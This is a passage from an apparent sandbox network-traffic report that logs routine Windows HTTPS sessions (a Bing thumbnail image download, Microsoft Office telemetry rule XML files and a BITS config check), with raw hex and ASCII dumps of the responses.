k?Y0[zZAgmBSdb\F$UeWE$>v["kxn_koes[NbNY6Vd`:gmvIOUc(KF0EnRH.h]HAq=6=E^Yi"URU;cE9tkXB)OD9yw>
2024-11-23 01:55:25 UTC	16384	IN	Data Raw: ab 07 97 04 f0 f9 92 2f c9 23 aa e4 82 d8 3b 39 1d 7f 5a e8 df 11 aa a5 84 0a d6 d0 45 e5 b5 ca af 92 d0 9c 70 aa 80 67 81 de b3 b5 4f 0c c1 ac d8 d8 9b 88 a0 6b 78 24 26 fa 5f 33 62 49 c6 02 b6 7d 38 1c e3 9a f9 9c 24 d4 71 31 a8 fa 7f 5a f9 9e ce de e9 bd f1 11 a2 f0 cf 82 f4 34 d4 35 7f b7 34 9a 6c 6f 77 2b 62 67 c3 a0 66 c3 71 85 c8 08 aa a3 3d 3e b5 f3 a7 c4 5f 89 9a e6 9d 7d 3c 1e 12 d6 67 b3 b0 b6 8c 88 e3 5f 7e 18 e4 12 32 49 3d 0f 15 df 7c 56 b8 f1 7f 8b bc 17 63 73 a5 4b a4 e9 f6 37 97 22 c2 d1 a3 bb 32 4d 7c 63 3e 5e 55 48 c4 31 2a 8e 49 3c d7 8f 69 be 03 bb d4 bc 44 ba 14 fa 9e 97 6a 5a e4 db 2d cc 93 ec 56 d8 f8 62 17 af 27 a0 20 66 be bf 2d c1 61 ef 2c 45 6b 37 ae 9d ba ea bb a3 87 1b 52 72 92 8c 34 f3 30 6e 3c 51 79 3e 93 6d 1c 70 41 03 40 Data Ascii: /#;9ZEpgOkx$&_3bI}8$q1Z454low+bgfq=>_}<g_~2I=\|VcsK7"2M\|c>^UH1*I<iDjZ-Vb' f-a,Ek7Rr40n<Qy>mpA@

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49774	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:25 UTC	346	OUT	GET /th?id=OADD2.10239340418587_1WAY0EU9WVN81W6N5&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 01:55:25 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 706074 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 66AEB8B6226C4D0CB51585472ABD745B Ref B: EWR30EDGE0707 Ref C: 2024-11-23T01:55:25Z Date: Sat, 23 Nov 2024 01:55:24 GMT Connection: close
2024-11-23 01:55:25 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 32 3a 31 30 20 32 33 3a 30 36 3a 34 36 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.1 (Windows)2023:02:10 23:06:468C
2024-11-23 01:55:25 UTC	16384	IN	Data Raw: 73 72 4b 5a 97 5a c4 17 f3 79 da 9d 8f 9b 20 b5 4b 78 bc a9 b6 63 6f dd ad b9 8c 14 75 28 5b dd c4 9a 0d d5 9b c3 fb c9 65 86 48 bf e0 3f 7a aa 6d a9 ef 2e 6e 2f 2f 25 b8 b8 9b f7 92 75 aa f5 26 ac 76 cf dc ef a7 47 f2 53 e3 f2 df f7 72 7e ea 3a 24 7f df 79 94 12 3f 75 14 dd d1 d1 5a 19 58 ab 4f fd d5 45 4f 91 b6 57 29 d0 2d 2e fa 89 3a d3 a3 a0 07 54 73 6c ed 52 53 68 01 bb 4d 3a 4a 28 a0 06 d3 a9 f1 a5 49 25 bc bf 62 fb 5f fc bb f9 be 5c 5f ef 50 32 ac 9f 3d 3d 17 f7 3f fb 56 8b 77 d9 35 37 cd 91 26 a0 a0 a7 5b d3 37 7f df ba 9a 05 91 ff 00 77 54 13 26 8e 2d f0 f9 94 ca 58 14 fd fa 96 34 d9 41 80 7d 9e 4f b1 7d a3 fe 59 f9 be 5d 43 b6 a7 8e 2a 7c 8b b3 f7 75 a1 3c e4 37 b6 b7 36 73 45 1d e4 13 45 e7 44 92 c5 e6 ff 00 1a 37 dd 6a 82 4a 9e 51 23 ff 00 ac Data Ascii: srKZZy Kxcou([eH?zm.n//%u&vGSr~:$y?uZXOEOW)-.:TslRShM:J(I%b_\_P2==?Vw57&[7wT&-X4A}O}Y]C*\|u<76sEED7jJQ#
2024-11-23 01:55:25 UTC	16384	IN	Data Raw: 5f ba fd d7 cd f3 56 81 03 4b 4b 1e 19 bc f0 be ab fd af 3c d6 3a c4 51 47 26 94 22 87 7c 37 7f 3f ef 23 97 fb 9f 2f cc 1a b9 d8 fc c4 eb 53 6c ff 00 9e 94 cf dd 56 66 d7 fb 21 f7 ea 4b 75 8c dc 7e ff 00 fd 5e 7f 79 e5 55 fd 0f 45 d5 75 a9 e5 b7 d2 ec 66 ba fb 2c 2f 73 2f 95 ff 00 3c 93 ef b5 77 3e 04 f0 1d ed cf c3 ef f8 4d 1e c8 df db 4b 7f f6 1f 36 22 93 25 a7 fb 4f 1f de dd b3 ee d2 0f 7b ec 9e 77 f6 1b 81 71 bf c9 f2 e3 ff 00 59 5b fa 7e 8f 3d dc 30 dc 5c 66 2b 0f 37 cb 96 eb ef 63 fd ea f4 9f 00 fc 28 f0 c7 8a f5 ad 57 4b 1e 3e c6 b1 f3 c9 a2 f9 b0 a2 43 71 12 ff 00 cf 67 dd 88 ea ff 00 c4 0f 0d e8 3e 07 f8 8f a5 78 7e d3 fd 2f ec 31 47 1d d9 f3 91 e2 92 e1 bf dc f9 5a b7 a2 a1 33 9b 14 aa c3 96 52 19 e0 15 d5 bc 03 14 5a ad c7 f6 2e b3 a5 ea 91 49 Data Ascii: _VKK<:QG&"\|7?#/SlVf!Ku~^yUEuf,/s/<w>MK6"%O{wqY[~=0\f+7c(WK>Cqg>x~/1GZ3RZ.I
2024-11-23 01:55:25 UTC	16384	IN	Data Raw: df 43 75 25 af ee ee a5 8b e7 f2 df f8 a3 fc 29 da c5 c4 9a ae b5 fd a1 24 16 51 47 17 fa df b2 4d b3 cc db fc 5f f0 2a a7 af 6a 57 3a ae a3 2e a1 20 86 1f 32 3f 2e 38 a2 1f c2 3f cf 2d 57 cf 33 9f d9 c2 31 b7 5b 94 23 48 de 7f 2f fe 7a 54 b1 9f ee 7f cf 3f f9 67 50 79 51 f9 3b ea 09 25 92 b5 27 97 98 bd 09 8f cf f9 e1 f3 53 fe 79 d6 8e a9 a7 69 d3 78 5f fb 42 d3 54 87 ed 16 bb 22 96 c2 6d fe 6c 9b bf e5 ac 7f ec 55 0b 8f b1 25 a5 af d8 fc e9 24 96 2f de ff 00 bd fe cd 30 4b 12 69 b2 f9 80 f9 92 7f ab fe ed 66 38 de 0c cd 91 6a 5e 69 7e fd 43 ff 00 2d 28 34 1e 8f fb ed f4 4f f3 cd 4b 6f 14 8f 37 97 1f 9d 24 92 7f cf 2a 76 fd f3 79 94 0c 86 75 df fb ca ab 25 5d b8 7f dc f9 75 56 44 a0 b8 15 df cc 7a 97 f7 9f f6 d2 99 23 d3 e3 f9 e8 37 37 6e bf b2 9e ce ee Data Ascii: Cu%)$QGM_jW:. 2?.8?-W31[#H/zT?gPyQ;%'Syix_BT"mlU%$/0Kif8j^i~C-(4OKo7$vyu%]uVDz#77n
2024-11-23 01:55:26 UTC	16384	IN	Data Raw: 6c b5 8f 85 7a 7e 87 24 13 4b e2 0f 0e 44 96 d6 12 dd fe e6 6f b0 7e f2 5f 2b 67 f1 ec fe 1a f0 69 1a 33 1e 52 be a3 f8 a1 a2 f8 9e eb e2 06 bf e1 bd 63 4a bd 97 c4 17 51 41 6d a7 fd c9 92 e1 2d bf d5 5c 6e ff 00 c7 6b cb f4 fd 36 df c3 7e 2e 97 c3 f3 f8 03 ed d6 f6 92 c7 16 a9 16 b5 03 ef 92 58 fe fa c6 df f2 c5 2b a7 0d 3e 5f 74 e4 c6 51 e6 9f 37 c8 e0 3e 12 e8 b7 be 21 f8 8d a5 69 d6 f0 cd ff 00 1f 70 79 b2 c3 f7 e3 5d ff 00 c3 fe d5 7b bf ed 6d f1 0b 41 bd b3 87 c1 70 68 97 b2 68 7a 5d ff 00 da 74 a9 a6 ff 00 5d 3c 4d fc 48 cf fe af e7 f3 7e 6a f5 4f 82 fa 27 c3 64 9b 45 93 4a d1 21 d0 75 4b 5b 59 ef 65 8a d2 6f dc dd dd 37 fa 84 f9 be 67 51 fb cf 92 b8 3f 8e 9f 0b 7c 61 e3 f8 3f e1 38 d0 ef ac bc cb fb 5f b4 c5 a5 5d de a4 3e 45 bb ff 00 ac f2 dd f8 Data Ascii: lz~$KDo~_+gi3RcJQAm-\nk6~.X+>_tQ7>!ipy]{mAphhz]t]<MH~jO'dEJ!uK[Yeo7gQ?\|a?8_]>E
2024-11-23 01:55:26 UTC	16384	IN	Data Raw: 67 53 78 ea 7b 5d e7 c5 db 28 60 fb 37 86 f4 af f9 65 e5 79 ba 84 fe 72 7c bf ec 37 f0 ff 00 bd 55 bc 3f f1 17 c3 36 7a 64 3f f0 92 59 4d 2d c5 d7 fa 4d ac ba 7c 09 6f 35 a7 fd 33 f9 3e fd 78 24 7a ae 26 8a 4f f5 5f f3 d7 ca ae 93 4b d4 bc 3a f3 7f a6 58 7d aa 39 25 92 38 a2 f3 bc 9f e0 ae af ec fa 31 3c df ed fc 4d 49 fb 92 5f 3d 8f 69 f1 c7 8e 34 1d 4b e1 c4 52 69 ff 00 e8 b7 12 dd 47 fe 8b 34 df 3c 7b 7f 8b f1 af 20 d5 bc 45 21 bc 8b ec 67 fe ba cb 5a eb e0 3d 27 55 83 ec 9e 1c f1 8d 95 d6 a1 75 17 9b 61 61 77 f2 4c ff 00 27 fa 9f fa eb ff 00 a1 57 9d 5d 0b 8b 5b 78 be d1 6f 30 49 7f f6 5a ec c3 46 8c 1d a2 79 79 c6 27 1f 5b 96 72 8d bc d1 dd 69 fe 32 b9 49 a1 f3 47 ee e3 ff 00 5b 5e 95 e1 3d 4e 3b c8 62 ff 00 9e 9f f5 c6 be 7e b0 69 2e 3f 78 6b d5 fe Data Ascii: gSx{](`7eyr\|7U?6zd?YM-M\|o53>x$z&O_K:X}9%81<MI_=i4KRiG4<{ E!gZ='UuaawL'W][xo0IZFyy'[ri2IG[^=N;b~i.?xk
2024-11-23 01:55:26 UTC	16384	IN	Data Raw: 3a 7d cc 77 37 d7 37 91 59 43 12 5c dd 7e ea d7 f8 3e 6a e9 91 7c 4f e1 9f 0f c9 25 e0 03 4f 96 58 e4 8a 29 66 f9 fc dd 9f 2f 97 f4 af 4f dc e4 f7 8f 9c e7 ab cf 2e c7 aa 7c 44 f8 55 e0 2d 57 c0 b1 5e 78 7f 43 ff 00 84 5f 50 f9 24 ff 00 8f df b4 fd a1 ff 00 e7 9c 89 ff 00 2c eb 80 8f e1 76 95 a2 41 7f 79 e2 cf 15 59 69 71 c3 17 ee ad 4c 2f e7 5c 7f d7 2f f6 fd 2b 84 d4 2f ef 7e d9 22 68 9a a5 ed d0 f2 be d3 75 e6 fd dd f5 dd 7c 3c f0 06 a3 e2 8f ec 5d 73 c6 fa df da 74 7d 52 5f b3 5a ff 00 a6 ef 9a 47 ff 00 9e 5f 37 fa aa c1 fb a7 a1 fc 79 7c 3f 71 d8 47 ff 00 0c c6 97 d1 5b d9 ea be 20 96 4b 58 a3 f3 65 87 46 fb 44 37 69 fc 6b e5 bf dd ad 5f 86 7e 1d f8 5b e3 0b cf 10 5c 69 7e 07 d6 a2 f0 7e 97 14 97 32 ea 1a 86 a7 b3 cc 97 fe 58 fe ed 29 96 f7 7a 4f 86 Data Ascii: :}w77YC\~>j\|O%OX)f/O.\|DU-W^xC_P$,vAyYiqL/\/+/~"hu\|<]st}R_ZG_7y\|?qG[ KXeFD7ik_~[\i~~2X)zO
2024-11-23 01:55:26 UTC	16065	IN	Data Raw: 00 c9 d8 96 9f f5 d2 3f e3 ff 00 6a be a2 b3 d3 f5 af 0c 68 b1 78 3f 47 f8 73 fd bd e1 bf 92 e7 ca d5 b5 37 9b ee ff 00 73 7f f1 7f 1d 62 5c 7c 34 f0 87 8b 6f bf b6 2f 3e 1d 6b 5e 17 bf d5 2e a3 8f ed 5a 7d e7 fa 27 f7 be 65 ff 00 96 7b ff 00 8a be 7a 15 a7 f6 8f b6 ad 85 52 e5 e5 3e 75 f8 d5 e1 eb 8f 05 f8 cb 59 f0 8e a1 e4 dd 5d d8 cb 98 6e a2 9b 11 47 e6 7e f3 e5 1f ee d7 79 fb 1f e9 31 de 58 ea b6 fa c4 f6 52 e8 f7 5b ff 00 b4 22 8a 1f 3a fb f7 49 bd 23 85 3e fe d3 f7 8d 69 7e dd 1e 14 d4 5f c4 ff 00 f0 b1 3c 88 7e c7 7f 14 16 52 c5 14 df 3f da 12 1f bd b5 bf 87 6d 76 5f b3 7f 89 7e 1d 78 27 c3 fa 7f 84 f5 c9 f4 cb 0f 12 5d 69 51 dc ff 00 6a 7f cb 1b bb 7b af 9f 6b 49 fd e4 5a de b4 e7 f5 6f 77 73 8a 8d 18 2c 64 b9 f6 3c ef c5 17 1a 77 fc 23 11 69 fe Data Ascii: ?jhx?Gs7sb\\|4o/>k^.Z}'e{zR>uY]nG~y1XR[":I#>i~_<~R?mv_~x']iQj{kIZows,d<w#i
2024-11-23 01:55:26 UTC	16384	IN	Data Raw: 36 4b a9 31 e5 c9 55 e3 d5 e4 f2 bc bf f5 b1 ff 00 d3 5a 7c 97 72 5d ff 00 ac 9b fd 5f fd 31 a4 47 b3 99 66 d7 53 8d 3f d5 c1 5a fa 7e b1 73 34 3e 5c 73 d7 2d 1c 52 43 35 58 b7 97 65 3d 03 58 7c 07 ba fc 27 f8 c1 a9 78 62 1f b3 ea 10 7d bf 4b 96 58 fc d8 bf 8f fd fd d5 e8 be 20 4f 08 78 f2 ce 29 2e 0d 9f 84 e4 9a c1 e5 fe d4 8a f7 c9 f3 ff 00 eb ac 51 fc bf 76 bc 37 e1 a7 84 b5 a9 bc 33 aa f8 c3 50 b1 ff 00 8a 7e c2 d6 48 ee a5 bb ff 00 9e ac 9f bb f9 3e f5 74 9f 00 ef 6d fc 4f 0c 5e 0b d5 20 fb 55 9c b1 49 27 d9 65 9f 67 df fb ed bf fb d5 c3 5a 30 f8 a2 7b f8 3c 45 6f 76 95 5e bb 19 5a 5f 83 7e 1f 26 a9 15 c7 fc 2c db 2f b1 ff 00 d3 2d 32 69 ae 3f e0 2b 5e 85 67 e0 7f 86 b6 73 45 aa 78 7f 5c 9a ea e2 d6 58 3c ab ab bf f8 f6 f3 57 e7 fe 15 f9 fd e9 9a c7 Data Ascii: 6K1UZ\|r]_1GfS?Z~s4>\s-RC5Xe=X\|'xb}KX Ox).Qv73P~H>tmO^ UI'egZ0{<Eov^Z_~&,/-2i?+^gsEx\X<W
2024-11-23 01:55:26 UTC	16384	IN	Data Raw: 82 fc 1b ad 3e eb fd 6d ac 53 79 29 f2 fd d6 5d bf 77 6d 7a 36 87 f1 02 da d7 c4 1a 2f 87 fc 2f 63 37 f6 3c 91 41 65 2f 9b f2 5c 49 2b 7d f6 a5 50 bc 35 3a 5e da f2 ed 62 6f 16 6a 16 5a 0e 97 6b 6f 24 ff 00 60 bc b5 b5 f2 ad 62 f2 7e 48 ff 00 e9 a7 cb 5e 4d 7e fe 6f 95 ff 00 2d 24 ff 00 d9 ab d6 7f 69 7d 37 52 d3 f4 59 52 f2 c6 ca 2f 2b 50 f3 22 96 29 bf 7c 9b ab 8d f0 a7 83 6f a2 fe cf 93 51 86 7b 1b cd 52 58 ff 00 b3 e5 9b e4 87 e6 fe 37 fe 3a e7 fa d4 14 39 8e da b9 7d 69 d6 f6 6b a1 43 c0 37 ba ca 5c 4b a3 db 4f 7b f6 7f 37 ed 32 c5 17 f7 d6 ac f8 ef 4a d4 bc 65 e3 bb ad 72 ce c7 ec 1f 6a 96 3b 6f 2a 69 92 1f 2d d5 3e e6 f6 db 5e a7 f1 03 c2 3a 77 82 66 b5 d1 ef 27 9a 2d 42 d7 cb 92 5d 56 28 7f e3 e1 ff 00 87 67 ff 00 15 5e 57 e2 c4 fb 4d ec b7 12 4f Data Ascii: >mSy)]wmz6//c7<Ae/\I+}P5:^bojZko$`b~H^M~o-$i}7RYR/+P")\|oQ{RX7:9}ikC7\KO{72Jerj;o*i->^:wf'-B]V(g^WMO

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:25 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 798eb064-701e-0021-422e-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015525Z-178bfbc474bv7whqhC1NYC1fg400000003tg00000000d6m4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:25 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:25 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015525Z-178bfbc474bwlrhlhC1NYCy3kg00000003w0000000004kry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:25 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:25 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: feb62e3a-f01e-0085-1d2f-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015525Z-178bfbc474bscnbchC1NYCe7eg00000003xg00000000d6f0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:25 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:25 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: df770720-601e-0002-4a47-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015525Z-178bfbc474bq2pr7hC1NYCkfgg00000003wg00000000fu5g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:25 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49775	184.30.17.174	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:25 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 01:55:25 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=53364 Date: Sat, 23 Nov 2024 01:55:25 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:26 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
